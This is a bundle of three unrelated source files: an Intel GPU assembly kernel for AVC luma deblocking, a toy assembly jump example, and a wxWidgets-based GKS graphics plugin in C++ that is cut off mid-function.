mov (1) ECM_AddrReg<1>:w CNTRL_DATA_BASE:w // Init edge control map AddrReg
//=== Null Kernel ===============================================================
// jmpi ILDB_LABEL(POST_ILDB_Y)
//===============================================================================
mul (1) URBOffsetC:uw ORIY:uw 4:w
#if !defined(DEV_CL)
//====================================================================================
// For BearLake-C, 64 bytes are stored in memory and dataport expands to 256 bytes. Need to use a special read command on BL-C.
// MB_offset = MBsCntX * CurRow + CurCol
// MBCntrlDataOffsetY = globel_byte_offset = MB_offset * 64
mul (1) CntrlDataOffsetY:ud MBsCntX:w ORIY:w
add (1) CntrlDataOffsetY:ud CntrlDataOffsetY:ud ORIX:w
// Assign to MSGSRC.2:ud for memory access
// mul (1) CntrlDataOffsetY:ud CntrlDataOffsetY:ud 64:uw
mul (1) MSGSRC.2:ud CntrlDataOffsetY:ud 64:uw
#endif
// Load current MB control data
#if defined(DEV_CL)
#if defined(_APPLE)
#include "Load_ILDB_Cntrl_Data_22DW.asm" // Crestline for Apple, progressive only
#else
#include "Load_ILDB_Cntrl_Data_64DW.asm" // Crestline
#endif
#else
#include "Load_ILDB_Cntrl_Data_16DW.asm" // Cantiga and beyond
#endif
// Check loaded control data
#if defined(_APPLE)
and.z.f0.1 (8) null<1>:uw r[ECM_AddrReg, wEdgeCntlMap_IntLeftVert]<8;8,1>:uw 0xFFFF:uw // Skip ILDB?
(f0.1) and.z.f0.1 (2) null<1>:uw r[ECM_AddrReg, wEdgeCntlMapA_ExtTopHorz0]<2;2,1>:uw 0xFFFF:uw // Skip ILDB?
#else
and.z.f0.1 (16) null<1>:uw r[ECM_AddrReg, wEdgeCntlMap_IntLeftVert]<16;16,1>:uw 0xFFFF:uw // Skip ILDB?
#endif
and.nz.f0.0 (1) null:w r[ECM_AddrReg, ExtBitFlags]:ub DISABLE_ILDB_FLAG:w // Skip ILDB?
// Use free cycles here
add (1) ORIX_LEFT:w ORIX_LEFT:w -4:w
// add (1) ORIY_TOP:w ORIY_TOP:w -4:w
mov (1) GateWayOffsetC:uw ORIY:uw // Use row # as Gateway offset
#if defined(_APPLE)
(f0.1.all8h) jmpi ILDB_LABEL(READ_FOR_URB_Y) // Skip ILDB
#else
(f0.1.all16h) jmpi ILDB_LABEL(READ_FOR_URB_Y) // Skip ILDB
#endif
(f0.0) jmpi ILDB_LABEL(READ_FOR_URB_Y) // Skip ILDB
add (1) ORIY_TOP:w ORIY_TOP:w -4:w
// Bettr performance is observed if boundary MBs are not checked and skipped.
#include "load_Cur_Y_16x16T.asm" // Load cur MB Y, 16x16, transpose
// #include "load_Left_Y_4x16T.asm" // Load left MB (4x16) Y data from memory
#include "load_Top_Y_16x4.asm" // Load top MB (16x4) Y data from memory
#include "Transpose_Cur_Y_16x16.asm"
// #include "Transpose_Left_Y_4x16.asm"
//---------- Perform vertical ILDB filting on Y ---------
#include "AVC_ILDB_Filter_Y_v.asm"
//-------------------------------------------------------
#include "save_Left_Y_16x4T.asm" // Write left MB (4x16) Y data to memory
#include "Transpose_Cur_Y_16x16.asm" // Transpose a MB for horizontal edge de-blocking
//---------- Perform horizontal ILDB filting on Y -------
#include "AVC_ILDB_Filter_Y_h.asm"
//-------------------------------------------------------
#include "save_Cur_Y_16x16.asm" // Write cur MB (16x16)
#include "save_Top_Y_16x4.asm" // Write top MB (16x4)
//---------- Write right most 4 columns of cur MB to URB ----------
// Transpose the right most 4 cols 4x16 in GRF to 16x4 in LEFT_TEMP_B. It is 4 left most cols in cur MB.
#include "Transpose_Cur_Y_4x16.asm"
ILDB_LABEL(WRITE_URB_Y):
// Note: LEFT_TEMP_B(2) = TOP_TEMP_B(0), TOP_TEMP_B must be avail
mov (16) m1<1>:ud LEFT_TEMP_D(2)<8;8,1> // Copy 2 GRFs to 2 URB entries (Y)
#include "writeURB_Y_Child.asm"
//-----------------------------------------------------------------
//=========== Check write commit of the last write ============
mov (8) WritebackResponse(0)<1> WritebackResponse(0)
ILDB_LABEL(POST_ILDB_Y):
// Send notification thru Gateway to root thread, update luma Status[CurRow]
#include "AVC_ILDB_ForwardMsg.asm"
#if !defined(GW_DCN) // For non-ILK chipsets
//child send EOT : Request type = 1
END_CHILD_THREAD
#endif // !defined(DEV_ILK)
// The thread finishs here
//------------------------------------------------------------------------------
ILDB_LABEL(READ_FOR_URB_Y):
// Still need to prepare URB data for the right neighbor MB
#include "load_Cur_Y_Right_Most_4x16.asm" // Load cur MB ( right most 4x16) Y data from memory
#include "Transpose_Cur_Y_Right_Most_4x16.asm"
// jmpi ILDB_LABEL(WRITE_URB_Y)
// Note: LEFT_TEMP_B(2) = TOP_TEMP_B(0), TOP_TEMP_B must be avail
mov (16) m1<1>:ud LEFT_TEMP_D(2)<8;8,1> // Copy 2 GRFs to 2 URB entries (Y)
#include "writeURB_Y_Child.asm"
//-----------------------------------------------------------------
// Send notification thru Gateway to root thread, update luma Status[CurRow]
#include "AVC_ILDB_ForwardMsg.asm"
#if !defined(GW_DCN) // For non-ILK chipsets
//child send EOT : Request type = 1
END_CHILD_THREAD
#endif // !defined(DEV_ILK)
// The thread finishs here
//------------------------------------------------------------------------------
////////////////////////////////////////////////////////////////////////////////
// Include other subrutines being called
#include "AVC_ILDB_Luma_Core.asm"
// #include "AVC_ILDB_Chroma_Core.asm"
#if !defined(COMBINED_KERNEL) // For standalone kernel only
.end_code
.end_kernel
#endif
|
main:
PRINT "Hello there, how are you?\n"
JMP one_sided_conversation ; This will jump to the one_sided_conversation label,
; thus skipping the next PRINT command,
; giving us a one-sided conversation.
PRINT "I'm good thanks, how are you?\n"
one_sided_conversation:
PRINT "I'm good thank you.\n"
|
#ifndef NO_WX
#include <wx/wx.h>
#include <wx/dcgraph.h>
#include <wx/fontutil.h>
#include <wx/bitmap.h>
#include <wx/image.h>
#include <wx/string.h>
#include <cstring>
#endif
#include "gks.h"
#include "gkscore.h"
#ifdef __cplusplus
extern "C" {
#endif
#ifdef _WIN32
#include <windows.h>
#ifndef DLLEXPORT
#define DLLEXPORT __declspec(dllexport)
#endif
#endif
DLLEXPORT void gks_wxplugin(int fctid, int dx, int dy, int dimx, int *i_arr, int len_f_arr_1, double *f_arr_1,
int len_f_arr_2, double *f_arr_2, int len_c_arr, char *c_arr, void **ptr);
#ifdef __cplusplus
}
#endif
#ifndef GKS_UNUSED
#define GKS_UNUSED(x) (void)(x)
#endif
#ifndef NO_WX
#define TIMER_INTERVAL 100
#define PATTERNS 120
#define MAX_TNR 9
#define MAX_POINTS 2048
#define MAX_SELECTIONS 100
#define HATCH_STYLE 108
#define MWIDTH 0.254
#define MHEIGHT 0.1905
#define WIDTH 1024
#define HEIGHT 768
#define DrawBorder 0
#define RESOLVE(arg, type, nbytes) \
arg = (type *)(s + sp); \
sp += nbytes
#ifndef M_PI
#define M_PI 3.14159265358979323846
#endif
#define WC_to_NDC(xw, yw, tnr, xn, yn) \
xn = a[tnr] * (xw) + b[tnr]; \
yn = c[tnr] * (yw) + d[tnr]
#define WC_to_NDC_rel(xw, yw, tnr, xn, yn) \
xn = a[tnr] * (xw); \
yn = c[tnr] * (yw)
#define NDC_to_DC(xn, yn, xd, yd) \
xd = (int)(p->a * (xn) + p->b); \
yd = (int)(p->c * (yn) + p->d);
#define DC_to_NDC(xd, yd, xn, yn) \
xn = ((xd)-p->b) / p->a; \
yn = ((yd)-p->d) / p->c;
#define CharXform(xrel, yrel, x, y) \
x = cos(p->alpha) * (xrel)-sin(p->alpha) * (yrel); \
y = sin(p->alpha) * (xrel) + cos(p->alpha) * (yrel);
#define nint(a) ((int)(a + 0.5))
#ifndef min
#define min(a, b) (((a) < (b)) ? (a) : (b))
#endif
static gks_state_list_t *gkss;
static double a[MAX_TNR], b[MAX_TNR], c[MAX_TNR], d[MAX_TNR];
typedef struct ws_state_list_t
{
gks_display_list_t dl;
wxPanel *widget;
#if defined(USE_WX_GCDC) && wxCHECK_VERSION(2, 9, 0)
wxGCDC *pixmap;
#else
wxMemoryDC *pixmap;
#endif
int antialias;
int state, wtype;
int width, height;
double a, b, c, d;
double window[4], viewport[4];
wxRect rect[MAX_TNR];
wxColour rgb[MAX_COLOR];
wxPoint *points;
int npoints, max_points;
wxFont *font;
int family, capheight;
double alpha, angle;
wxBitmap *pattern[PATTERNS];
} ws_state_list;
static ws_state_list *p;
static const char *fonts[] = {"Times New Roman", "Arial", "Courier", "Open Symbol", "Bookman Old Style",
"Century Schoolbook", "Century Gothic", "Book Antiqua"};
static double capheights[29] = {0.662, 0.660, 0.681, 0.662, 0.729, 0.729, 0.729, 0.729, 0.583, 0.583,
0.583, 0.583, 0.667, 0.681, 0.681, 0.681, 0.681, 0.722, 0.722, 0.722,
0.722, 0.739, 0.739, 0.739, 0.739, 0.694, 0.693, 0.683, 0.683};
static int map[32] = {22, 9, 5, 14, 18, 26, 13, 1, 24, 11, 7, 16, 20, 28, 13, 3,
23, 10, 6, 15, 19, 27, 13, 2, 25, 12, 8, 17, 21, 29, 13, 4};
static int symbol2utf[256] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
18, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 8704, 35, 8707, 37,
38, 8715, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56,
57, 58, 59, 60, 61, 62, 63, 8773, 913, 914, 935, 916, 917, 934, 915, 919, 921, 977, 922,
923, 924, 925, 927, 928, 920, 929, 931, 932, 933, 962, 937, 926, 936, 918, 91, 8756, 93, 8869,
95, 8254, 945, 946, 967, 948, 949, 966, 947, 951, 953, 981, 954, 955, 956, 957, 959, 960, 952,
961, 963, 964, 965, 982, 969, 958, 968, 950, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132,
133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151,
152, 153, 154, 155, 156, 157, 158, 159, 160, 978, 8242, 8804, 8260, 8734, 402, 9827, 9830, 9829, 9824,
8596, 8592, 8593, 8594, 8595, 176, 177, 8243, 8805, 215, 8733, 8706, 8226, 247, 8800, 8801, 8776, 8230, 9116,
9135, 8629, 8501, 8465, 8476, 8472, 8855, 8853, 8709, 8745, 8746, 8835, 8839, 8836, 8834, 8838, 8712, 8713, 8736,
8711, 174, 169, 8482, 8719, 8730, 183, 172, 8743, 8744, 8660, 8656, 8657, 8658, 8659, 9674, 12296, 174, 169,
8482, 8721, 9115, 9116, 9117, 9121, 9116, 9123, 9127, 9128, 9129, 9116, 240, 12297, 8747, 9127, 9116, 9133, 9131,
9130, 9120, 9124, 9130, 9126, 9131, 9132, 9133, 255};
static double xfac[4] = {0, 0, -0.5, -1};
static double yfac[6] = {0, -1.2, -1, -0.5, 0, 0.2};
static int predef_font[] = {1, 1, 1, -2, -3, -4};
static int predef_prec[] = {0, 1, 2, 2, 2, 2};
static int predef_ints[] = {0, 1, 3, 3, 3};
static int predef_styli[] = {1, 1, 1, 2, 3};
static void set_norm_xform(int tnr, double *wn, double *vp)
{
int xp1, yp1, xp2, yp2;
a[tnr] = (vp[1] - vp[0]) / (wn[1] - wn[0]);
b[tnr] = vp[0] - wn[0] * a[tnr];
c[tnr] = (vp[3] - vp[2]) / (wn[3] - wn[2]);
d[tnr] = vp[2] - wn[2] * c[tnr];
NDC_to_DC(vp[0], vp[3], xp1, yp1);
NDC_to_DC(vp[1], vp[2], xp2, yp2);
p->rect[tnr].SetLeftTop(wxPoint(xp1, yp1));
p->rect[tnr].SetRightBottom(wxPoint(xp2, yp2));
}
static void init_norm_xform(void)
{
int tnr;
for (tnr = 0; tnr < MAX_TNR; tnr++) set_norm_xform(tnr, gkss->window[tnr], gkss->viewport[tnr]);
}
static void set_xform(void)
{
p->a = (p->width - 1) / (p->window[1] - p->window[0]);
p->b = -p->window[0] * p->a;
p->c = (p->height - 1) / (p->window[2] - p->window[3]);
p->d = p->height - 1 - p->window[2] * p->c;
}
static void seg_xform(double *x, double *y)
{
double xx;
xx = *x * gkss->mat[0][0] + *y * gkss->mat[0][1] + gkss->mat[2][0];
*y = *x * gkss->mat[1][0] + *y * gkss->mat[1][1] + gkss->mat[2][1];
*x = xx;
}
static void seg_xform_rel(double *x, double *y)
{
double xx;
xx = *x * gkss->mat[0][0] + *y * gkss->mat[0][1];
*y = *x * gkss->mat[1][0] + *y * gkss->mat[1][1];
*x = xx;
}
static void set_clip_rect(int tnr)
{
#if defined(USE_WX_GCDC) && wxCHECK_VERSION(2, 9, 0)
destroy_clipping_region(*p->pixmap, p->antialias);
#else
p->pixmap->DestroyClippingRegion();
#endif
if (gkss->clip_tnr != 0 || gkss->clip == GKS_K_CLIP)
p->pixmap->SetClippingRegion(p->rect[gkss->clip_tnr != 0 ? gkss->clip_tnr : tnr]);
else
p->pixmap->SetClippingRegion(p->rect[0]);
}
static void set_color_rep(int color, double red, double green, double blue)
{
if (color >= 0 && color < MAX_COLOR) p->rgb[color].Set(nint(red * 255), nint(green * 255), nint(blue * 255));
}
static void init_colors(void)
{
int color;
double red, green, blue;
for (color = 0; color < MAX_COLOR; color++)
{
gks_inq_rgb(color, &red, &green, &blue);
set_color_rep(color, red, green, blue);
}
}
static void set_color(int color)
{
p->pixmap->SetPen(wxPen(p->rgb[color]));
p->pixmap->SetBrush(wxBrush(p->rgb[color]));
}
static void draw_pixel(wxDC &dc, const wxPoint &point)
{
// dc.DrawLine(point, point);
dc.DrawPoint(point);
}
static void line_routine(int n, double *px, double *py, int linetype, int tnr)
{
double x, y;
int i, x0, y0, xi, yi, xim1, yim1;
WC_to_NDC(px[0], py[0], tnr, x, y);
seg_xform(&x, &y);
NDC_to_DC(x, y, x0, y0);
p->npoints = 0;
p->points[p->npoints].x = x0;
p->points[p->npoints].y = y0;
++p->npoints;
xim1 = x0;
yim1 = y0;
for (i = 1; i < n; i++)
{
WC_to_NDC(px[i], py[i], tnr, x, y);
seg_xform(&x, &y);
NDC_to_DC(x, y, xi, yi);
if (i == 1 || xi != xim1 || yi != yim1)
{
p->points[p->npoints].x = xi;
p->points[p->npoints].y = yi;
++p->npoints;
xim1 = xi;
yim1 = yi;
}
}
if (linetype == 0)
{
p->points[p->npoints].x = x0;
p->points[p->npoints].y = y0;
++p->npoints;
}
if (p->npoints > 1)
p->pixmap->DrawLines(p->npoints, p->points);
else
draw_pixel(*p->pixmap, *p->points);
p->npoints = 0;
}
static void polyline(int n, double *px, double *py)
{
int i, ln_type, ln_color;
double ln_width;
int width;
static int gks_dash_list[10];
wxDash tmp_dash_list[9];
wxPen pen;
double x, y;
int ix, iy;
if (n > p->max_points)
{
wxPoint *tmp = p->points;
p->points = new wxPoint[n];
memmove(p->points, tmp, p->max_points);
p->max_points = n;
delete[] tmp;
}
ln_type = gkss->asf[0] ? gkss->ltype : gkss->lindex;
ln_width = gkss->asf[1] ? gkss->lwidth : 1;
ln_color = gkss->asf[2] ? gkss->plcoli : 1;
width = nint(ln_width);
if (width < 1) width = 1;
if (ln_color <= 0 || ln_color >= MAX_COLOR) ln_color = 1;
gks_set_dev_xform(gkss, p->window, p->viewport);
for (i = 0; i < n; ++i)
{
WC_to_NDC(px[i], py[i], gkss->cntnr, x, y);
seg_xform(&x, &y);
NDC_to_DC(x, y, ix, iy);
p->points[p->npoints].x = ix;
p->points[p->npoints].y = iy;
++p->npoints;
}
pen.SetColour(p->rgb[ln_color]);
pen.SetWidth(width);
if (ln_type > 1)
{
gks_get_dash_list(ln_type, 1, gks_dash_list);
for (i = 0; i < gks_dash_list[0]; ++i)
{
tmp_dash_list[i] = wxDash(gks_dash_list[i + 1]);
}
pen.SetDashes(gks_dash_list[0], tmp_dash_list);
#if wxCHECK_VERSION(2, 9, 0)
pen.SetStyle(wxPENSTYLE_USER_DASH);
#else
pen.SetStyle(wxUSER_DASH);
#endif
}
else
{
#if wxCHECK_VERSION(2, 9, 0)
pen.SetStyle(wxPENSTYLE_SOLID);
#else
pen.SetStyle(wxSOLID);
#endif
}
p->pixmap->SetPen(pen);
if (p->npoints)
{
if (p->npoints > 1)
p->pixmap->DrawLines(p->npoints, p->points);
else
draw_pixel(*p->pixmap, *p->points);
p->npoints = 0;
}
}
static void draw_marker(double xn, double yn, int mtype, double mscale, int mcolor)
{
int r, d, x, y, i;
int pc, op;
double scale, xr, yr;
wxBrush const *saveBrush;
wxPoint *points;
#include "marker.h"
if (gkss->version > 4) mscale *= (p->width + p->height) * 0.001;
r = (int)(3 * mscale);
d = 2 * r;
scale = 0.01 * mscale / 3.0;
xr = r;
yr = 0;
seg_xform_rel(&xr, &yr);
r = nint(sqrt(xr * xr + yr * yr));
NDC_to_DC(xn, yn, x, y);
pc = 0;
mtype = (d > 1) ? mtype + marker_off : marker_off + 1;
do
{
op = marker[mtype][pc];
switch (op)
{
case 1: /* point */
draw_pixel(*p->pixmap, wxPoint(x, y));
break;
case 2: /* line */
for (i = 0; i < 2; i++)
{
xr = scale * marker[mtype][pc + 2 * i + 1];
yr = -scale * marker[mtype][pc + 2 * i + 2];
seg_xform_rel(&xr, &yr);
p->points[i].x = nint(x - xr);
p->points[i].y = nint(y + yr);
}
p->pixmap->DrawLines(2, p->points);
pc += 4;
break;
case 3: /* polygon */
points = new wxPoint[marker[mtype][pc + 1]];
for (i = 0; i < marker[mtype][pc + 1]; i++)
{
xr = scale * marker[mtype][pc + 2 + 2 * i];
yr = -scale * marker[mtype][pc + 3 + 2 * i];
seg_xform_rel(&xr, &yr);
points[i].x = nint(x - xr);
points[i].y = nint(y + yr);
}
p->pixmap->DrawLines(marker[mtype][pc + 1], points);
pc += 1 + 2 * marker[mtype][pc + 1];
delete[] points;
break;
case 4: /* filled polygon */
case 5: /* hollow polygon */
points = new wxPoint[marker[mtype][pc + 1]];
if (op == 5) set_color(0);
for (i = 0; i < marker[mtype][pc + 1]; i++)
{
xr = scale * marker[mtype][pc + 2 + 2 * i];
yr = -scale * marker[mtype][pc + 3 + 2 * i];
seg_xform_rel(&xr, &yr);
points[i].x = nint(x - xr);
points[i].y = nint(y + yr);
}
p->pixmap->DrawPolygon(marker[mtype][pc + 1], points);
pc += 1 + 2 * marker[mtype][pc + 1];
if (op == 5) set_color(mcolor);
delete[] points;
break;
case 6: /* arc */
saveBrush = &p->pixmap->GetBrush();
#if wxCHECK_VERSION(2, 9, 0)
p->pixmap->SetBrush(wxBrush(*wxBLACK, wxBRUSHSTYLE_TRANSPARENT));
#else
p->pixmap->SetBrush(wxBrush(*wxBLACK, wxTRANSPARENT));
#endif
p->pixmap->DrawEllipticArc(x - r, y - r, d, d, 0, 360);
p->pixmap->SetBrush(*saveBrush);
break;
case 7: /* filled arc */
case 8: /* hollow arc */
if (op == 8) set_color(0);
p->pixmap->DrawEllipticArc(x - r, y - r, d, d, 0, 360);
if (op == 8) set_color(mcolor);
break;
}
pc++;
}
while (op != 0);
}
static void marker_routine(int n, double *px, double *py, int mtype, double mscale, int mcolor)
{
double x, y;
double *clrt = gkss->viewport[gkss->cntnr];
int i, draw;
for (i = 0; i < n; i++)
{
WC_to_NDC(px[i], py[i], gkss->cntnr, x, y);
seg_xform(&x, &y);
if (gkss->clip == GKS_K_CLIP)
draw = (x >= clrt[0] && x <= clrt[1] && y >= clrt[2] && y <= clrt[3]);
else
draw = 1;
if (draw) draw_marker(x, y, mtype, mscale, mcolor);
}
}
static void polymarker(int n, double *px, double *py)
{
int mk_type, mk_color;
double mk_size;
mk_type = gkss->asf[3] ? gkss->mtype : gkss->mindex;
mk_size = gkss->asf[4] ? gkss->mszsc : 1;
mk_color = gkss->asf[5] ? gkss->pmcoli : 1;
#if wxCHECK_VERSION(2, 9, 0)
p->pixmap->SetPen(wxPen(p->rgb[mk_color], 1, wxPENSTYLE_SOLID));
p->pixmap->SetBrush(wxBrush(p->rgb[mk_color], wxBRUSHSTYLE_SOLID));
#else
p->pixmap->SetPen(wxPen(p->rgb[mk_color], 1, wxSOLID));
p->pixmap->SetBrush(wxBrush(p->rgb[mk_color], wxSOLID));
#endif
marker_routine(n, px, py, mk_type, mk_size, mk_color);
}
static void text_routine(double x, double y, int nchars, char *chars)
{
int i, ch, xstart, ystart, width, height, descent;
double xrel, yrel, ax, ay;
#if wxUSE_UNICODE
wxString s(wxT(""));
#else
wxString s("");
#endif
for (i = 0; i < nchars; i++)
{
ch = chars[i];
if (ch < 0) ch += 256;
if (p->family == 3) ch = symbol2utf[ch];
#if wxUSE_UNICODE
s.append(static_cast<wchar_t>(ch));
#else
s.append(static_cast<char>(ch));
#endif
}
NDC_to_DC(x, y, xstart, ystart);
p->pixmap->GetTextExtent(s, &width, &height, &descent);
xrel = width * xfac[gkss->txal[0]];
yrel = p->capheight * yfac[gkss->txal[1]] + (height - descent);
CharXform(xrel, yrel, ax, ay);
xstart += (int)ax;
ystart -= (int)ay;
if (fabs(p->angle) > FEPS)
{
p->pixmap->DrawRotatedText(s, xstart, ystart, p->angle);
}
else
{
p->pixmap->DrawText(s, xstart, ystart);
}
}
static void set_font(int font)
{
double scale, ux, uy;
int fontNum, size, bold, italic;
double width, height, capheight;
font = abs(font);
if (font >= 101 && font <= 129)
font -= 100;
else if (font >= 1 && font <= 32)
font = map[font - 1];
else
font = 9;
WC_to_NDC_rel(gkss->chup[0], gkss->chup[1], gkss->cntnr, ux, uy);
seg_xform_rel(&ux, &uy);
p->alpha = -atan2(ux, uy);
p->angle = p->alpha * 180 / M_PI;
if (p->angle < 0) p->angle += 360;
scale = sqrt(gkss->chup[0] * gkss->chup[0] + gkss->chup[1] * gkss->chup[1]);
ux = gkss->chup[0] / scale * gkss->chh;
uy = gkss->chup[1] / scale * gkss->chh;
WC_to_NDC_rel(ux, uy, gkss->cntnr, ux, uy);
width = 0;
height = sqrt(ux * ux + uy * uy);
seg_xform_rel(&width, &height);
height = sqrt(width * width + height * height);
capheight = nint(height * (fabs(p->c) + 1));
p->capheight = nint(capheight);
fontNum = font - 1;
size = nint(p->capheight / capheights[fontNum]);
if (font > 13) font += 3;
p->family = (font - 1) / 4;
bold = (font % 4 == 1 || font % 4 == 2) ? 0 : 1;
italic = (font % 4 == 2 || font % 4 == 0);
p->font->SetNativeFontInfoUserDesc(wxString(fonts[p->family], wxConvLibc));
p->font->SetWeight(bold ? wxFONTWEIGHT_BOLD : wxFONTWEIGHT_NORMAL);
p->font->SetStyle(italic ? wxFONTSTYLE_ITALIC : wxFONTSTYLE_NORMAL);
p->font->SetPixelSize(wxSize(0, (int)(size)));
p->pixmap->SetFont(*p->font);
}
static void fill_routine(int n, double *px, double *py, int tnr)
{
int i;
double x, y;
int ix, iy;
wxPoint *points;
points = new wxPoint[n];
for (i = 0; i < n; i++)
{
WC_to_NDC(px[i], py[i], tnr, x, y);
seg_xform(&x, &y);
NDC_to_DC(x, y, ix, iy);
points[i].x = ix;
points[i].y = iy;
}
p->pixmap->DrawPolygon(n, points);
delete[] points;
}
static void text(double px, double py, int nchars, char *chars)
{
int tx_font, tx_prec, tx_color;
double x, y;
tx_font = gkss->asf[6] ? gkss->txfont : predef_font[gkss->tindex - 1];
tx_prec = gkss->asf[6] ? gkss->txprec : predef_prec[gkss->tindex - 1];
tx_color = gkss->asf[9] ? gkss->txcoli : 1;
#if wxCHECK_VERSION(2, 9, 0)
p->pixmap->SetPen(wxPen(p->rgb[tx_color], 1, wxPENSTYLE_SOLID));
#else
p->pixmap->SetPen(wxPen(p->rgb[tx_color], 1, wxSOLID));
#endif
p->pixmap->SetTextForeground(p->rgb[tx_color]);
if (tx_prec == GKS_K_TEXT_PRECISION_STRING)
{
set_font(tx_font);
WC_to_NDC(px, py, gkss->cntnr, x, y);
seg_xform(&x, &y);
text_routine(x, y, nchars, chars);
}
else
gks_emul_text(px, py, nchars, chars, line_routine, fill_routine);
}
static void cellarray(double xmin, double xmax, double ymin, double ymax, int dx, int dy, int dimx, int *colia,
int true_color)
{
double x1, y1, x2, y2;
int ix1, ix2, iy1, iy2;
int x, y, width, height;
int i, j, ix, iy, ind;
int swapx, swapy;
int red, green, blue;
WC_to_NDC(xmin, ymax, gkss->cntnr, x1, y1);
seg_xform(&x1, &y1);
NDC_to_DC(x1, y1, ix1, iy1);
WC_to_NDC(xmax, ymin, gkss->cntnr, x2, y2);
seg_xform(&x2, &y2);
NDC_to_DC(x2, y2, ix2, iy2);
width = abs(ix2 - ix1);
height = abs(iy2 - iy1);
if (width == 0 || height == 0) return;
x = min(ix1, ix2);
y = min(iy1, iy2);
swapx = ix1 > ix2;
swapy = iy1 < iy2;
wxBitmap img(width, height, 32);
#if wxCHECK_VERSION(2, 9, 0)
wxMemoryDC mem_dc(img);
wxGCDC img_dc(mem_dc);
img_dc.GetGraphicsContext()->SetAntialiasMode(wxANTIALIAS_NONE);
#else
wxMemoryDC img_dc(img);
#endif
img_dc.SetBackground(*wxWHITE_BRUSH);
img_dc.Clear();
if (!true_color)
{
for (j = 0; j < height; j++)
{
iy = dy * j / height;
if (swapy) iy = dy - 1 - iy;
for (i = 0; i < width; i++)
{
ix = dx * i / width;
if (swapx) ix = dx - 1 - ix;
ind = colia[iy * dimx + ix];
red = p->rgb[ind].Red();
green = p->rgb[ind].Green();
blue = p->rgb[ind].Blue();
img_dc.SetPen(wxPen(wxColour(red, green, blue)));
draw_pixel(img_dc, wxPoint(i, j));
}
}
}
else
{
unsigned char *pixels = (unsigned char *)gks_malloc(width * height * 4);
gks_resample((const unsigned char *)colia, pixels, dx, dy, width, height, dimx, swapx, swapy,
gkss->resample_method);
for (j = 0; j < height; j++)
{
for (i = 0; i < width; i++)
{
unsigned char red = pixels[(j * width + i) * 4 + 0];
unsigned char green = pixels[(j * width + i) * 4 + 1];
unsigned char blue = pixels[(j * width + i) * 4 + 2];
unsigned char alpha = pixels[(j * width + i) * 4 + 3];
img_dc.SetPen(wxPen(wxColour(red, green, blue, alpha * gkss->alpha)));
draw_pixel(img_dc, wxPoint(i, j));
}
}
gks_free(pixels);
}
p->pixmap->DrawBitmap(img, x, y);
}
static wxBitmap *create_pattern(int pattern)
{
int parray[33];
int i, j;
gks_inq_pattern_array(pattern, parray);
wxBitmap *img = new wxBitmap(8, 8, 1);
#if wxCHECK_VERSION(2, 9, 0)
wxMemoryDC mem_dc(*img);
wxGCDC img_dc(mem_dc);
img_dc.GetGraphicsContext()->SetAntialiasMode(wxANTIALIAS_NONE);
#else
wxMemoryDC img_dc(*img);
#endif
for (i = 0; i < 8; i++)
for (j = 0; j < 8; j++)
{
img_dc.SetPen((parray[(i % parray[0]) + 1] >> j) & 0x01 ? *wxWHITE_PEN : *wxBLACK_PEN);
draw_pixel(img_dc, wxPoint((j + 7) % 8, (i + 7) % 8));
}
return img;
}
#if defined(USE_WX_GCDC) && wxCHECK_VERSION(2, 9, 0)
static void destroy_clipping_region(wxGCDC &dc, bool antialias)
{
dc.DestroyClippingRegion();
// antialias mode has to be reset because of a bug in wxWidgets 2.9
dc.GetGraphicsContext()->SetAntialiasMode(wxANTIALIAS_DEFAULT);
if (!antialias)
{
dc.GetGraphicsContext()->SetAntialiasMode(wxANTIALIAS_NONE);
}
}
#endif
static void fillarea(int n, double *px, double *py)
{
int fl_inter, fl_style, fl_color;
fl_inter = gkss->asf[10] ? gkss->ints : predef_ints[gkss->findex - 1];
fl_style = gkss->asf[11] ? gkss->styli : predef_styli[gkss->findex - 1];
fl_color = gkss->asf[12] ? gkss->facoli : 1;
if (fl_inter == GKS_K_INTSTYLE_HOLLOW)
{
#if wxCHECK_VERSION(2, 9, 0)
p->pixmap->SetPen(wxPen(p->rgb[fl_color], 1, wxPENSTYLE_SOLID));
#else
p->pixmap->SetPen(wxPen(p->rgb[fl_color], 1, wxSOLID));
#endif
line_routine(n, px, py, DrawBorder, gkss->cntnr);
}
else if (fl_inter == GKS_K_INTSTYLE_SOLID)
{
p->pixmap->SetPen(*wxTRANSPARENT_PEN);
#if wxCHECK_VERSION(2, 9, 0)
p->pixmap->SetBrush(wxBrush(p->rgb[fl_color], wxBRUSHSTYLE_SOLID));
#else
p->pixmap->SetBrush(wxBrush(p->rgb[fl_color], wxSOLID));
#endif
fill_routine(n, px, py, gkss->cntnr);
}
else if (fl_inter == GKS_K_INTSTYLE_PATTERN || fl_inter == GKS_K_INTSTYLE_HATCH)
{
if (fl_inter == GKS_K_INTSTYLE_HATCH) fl_style += HATCH_STYLE;
if (fl_style >= PATTERNS) fl_style = 1;
if (p->pattern[fl_style] == NULL) p->pattern[fl_style] = create_pattern(fl_style);
p->pixmap->SetPen(*wxTRANSPARENT_PEN);
// TODO: color
p->pixmap->SetBrush(wxBrush(*p->pattern[fl_style]));
fill_routine(n, px, py, gkss->cntnr);
}
}
static void interp(char *str)
{
char *s;
gks_state_list_t *sl = NULL, saved_gkss;
int sp = 0, *len, *f;
int *i_arr = NULL, *dx = NULL, *dy = NULL, *dimx = NULL, *len_c_arr = NULL;
double *f_arr_1 = NULL, *f_arr_2 = NULL;
char *c_arr = NULL;
int i, true_color = 0;
s = str;
RESOLVE(len, int, sizeof(int));
while (*len > 0)
{
RESOLVE(f, int, sizeof(int));
switch (*f)
{
case 2: /* open workstation */
RESOLVE(sl, gks_state_list_t, sizeof(gks_state_list_t));
break;
case 12: /* polyline */
case 13: /* polymarker */
case 15: /* fill area */
RESOLVE(i_arr, int, sizeof(int));
RESOLVE(f_arr_1, double, i_arr[0] * sizeof(double));
RESOLVE(f_arr_2, double, i_arr[0] * sizeof(double));
break;
case 14: /* text */
RESOLVE(f_arr_1, double, sizeof(double));
RESOLVE(f_arr_2, double, sizeof(double));
RESOLVE(len_c_arr, int, sizeof(int));
RESOLVE(c_arr, char, 132);
/* dummy assignment to avoid warning 'set but not used' */
*len_c_arr = *len_c_arr;
break;
case 16: /* cell array */
